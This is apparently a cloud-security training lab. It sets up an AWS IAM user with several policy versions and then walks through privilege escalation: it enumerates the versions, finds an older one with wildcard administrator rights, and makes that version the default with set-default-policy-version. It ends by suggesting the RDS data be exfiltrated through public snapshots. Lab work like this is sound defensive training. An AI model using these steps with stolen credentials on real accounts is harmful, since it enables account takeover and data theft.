Privilege Escalation via Policy Versions

Introduction

A policy is an object in AWS that, when associated with an identity or resource, defines their permissions. AWS evaluates these policies when an IAM principal (user or role) makes a request. Permissions in the policies determine whether the request is allowed or denied. AWS IAM policies define permissions for an action regardless of the method that you use to perform the operation.

What are we going to cover?

This chapter covers how multiple policy versions with overly permissive configuration for an older version leads to privilege escalation.

These are few assumptions to be made & define a goal for this demo

Because we are demonstrating privilege escalation, we work with the assumption that we have gained access to victim's AWS credentials. These credentials appear to be non-privileged. Our aim is to exploit a mis-configured with the user's policy definition and gain access to employee database.

Steps to setup lab

To create the vulnerable environment, follow the steps in your student machine.

  • Create a new folder to store the policies

    mkdir awspolicies && cd awspolicies

  • Now download the policies from the mentioned URL.

    aws s3 cp s3://aws-training-iampolicies/policies/ . --recursive

  • Create a new user in your aws account using the below command.

    aws iam create-user --user-name paul

  • Make a EC2DataS3ReadWritePolicy policy in the account & attach it to the user paul

    aws iam create-policy --policy-name EC2DataS3ReadWritePolicy --policy-document file://policydoc1.json

  • Once we complete creating the policy, AWS will assign this policy version as V1 by default. We have couple of other versions to be uploaded. Run this script in your terminal.

    export AWS_ACCOUNT_ID=$(aws sts get-caller-identity | jq .Arn | awk -F: '{print $5}')

  • Make sure you place the Account ID in the script.

for i in $(seq 2 5); 
do 
aws iam create-policy-version --policy-arn arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy --policy-document file://policydoc${i}.json;
done
  • We have successfully created the policy versions, It's time to attach these policies to user paul

aws iam attach-user-policy --policy-arn arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy --user-name paul
  • Since we have completed creating the vulnerable environment, Now will configure paul security credentials in our system to perform this lab.

    aws iam create-access-key --user-name paul

  • Configure those security credentials in your student machine.

    aws configure --profile paul

Steps to attack

Our objective via this exercise is to identify and exploit a mis-configuration with the user's policy definition and access restricted resources.

We have already configured Paul's AWS credentials on our system as a new AWS cli profile called paul. The next step is to identify if we have access or not to restricted resources.

  • Run aws sts get-caller-identity --profile paul to verify if the credentials are setup properly.

Config

aws sts get-caller-identity --profile paul

As attackers, we want to see if paul can access databases in AWS RDS.

aws rds describe-db-instances --region us-east-1 --profile paul

Now proceed to enumerate the attached user policies to this user to get a sense of what exactly can the user see or do in AWS. Now, Let's try to list what user defined policies are attached to the user.

aws iam list-attached-user-policies --user-name paul --profile paul

The username is obtained from the STS command earlier. The output of this command shows that there is a policy called EC2DataS3ReadWritePolicy. Looking at the policy's current version gives us a sense of how many more may be there that need to be enumerated if you hope to find a weakness. Now let's check the current policy number.

aws iam get-policy --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --profile paul

Next we attempt to get the actual definition of the policy json to get an idea of what is allowed and what is not. Now check the v1 policy definition.

aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v1 --profile paul

Next we attempt to list all versions that are available for this particular policy.

We do this using the following AWS cli command.

aws iam list-policy-versions --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --profile paul

Once we have a list of all policy versions in AWS we can then enumerate each version and examine the policy json definition as shown below. Check the all versions if possible. We start with the enumeration of v1 of the policy. This can be done using the following command.

aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v1 --profile paul

We repeat the same command for all the versions of the policy and closely examine each of the policy definition to identify if a mis-configuration exists in any.

To enumerate v3 of the policy we simply change the value of --version-id to v3 as shown below.

aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v3 --profile paul

Finally, we arrive at v5 of the policy and see that a wildcard usage for Action and Resource gives this policy effective Administrator Access.

To enumerate v5 of the policy we simply change the value of --version-id to v5 as shown below.

aws iam get-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v5 --profile paul

Once we know the version that has overly permissive json definition, we use our current privilege that gives us the IAM ability to set a default policy, to change the default policy and effectively become an AWS Administrator. Set v5 of the policy as the default policy.

aws iam set-default-policy-version --policy-arn "arn:aws:iam::$AWS_ACCOUNT_ID:policy/EC2DataS3ReadWritePolicy" --version-id v5 --profile paul

Once the policy has been updated and the new permissive policy version is applied, Paul's user account is now an AWS Administrator.

aws rds describe-db-instances --profile paul

We can finally access the AWS RDS service to enumerate existing databases. As an attacker, we can now take an RDS snapshot and exfiltrate data by recreating an instance or simply exposing the snapshot to the public.

Additional references

Last updated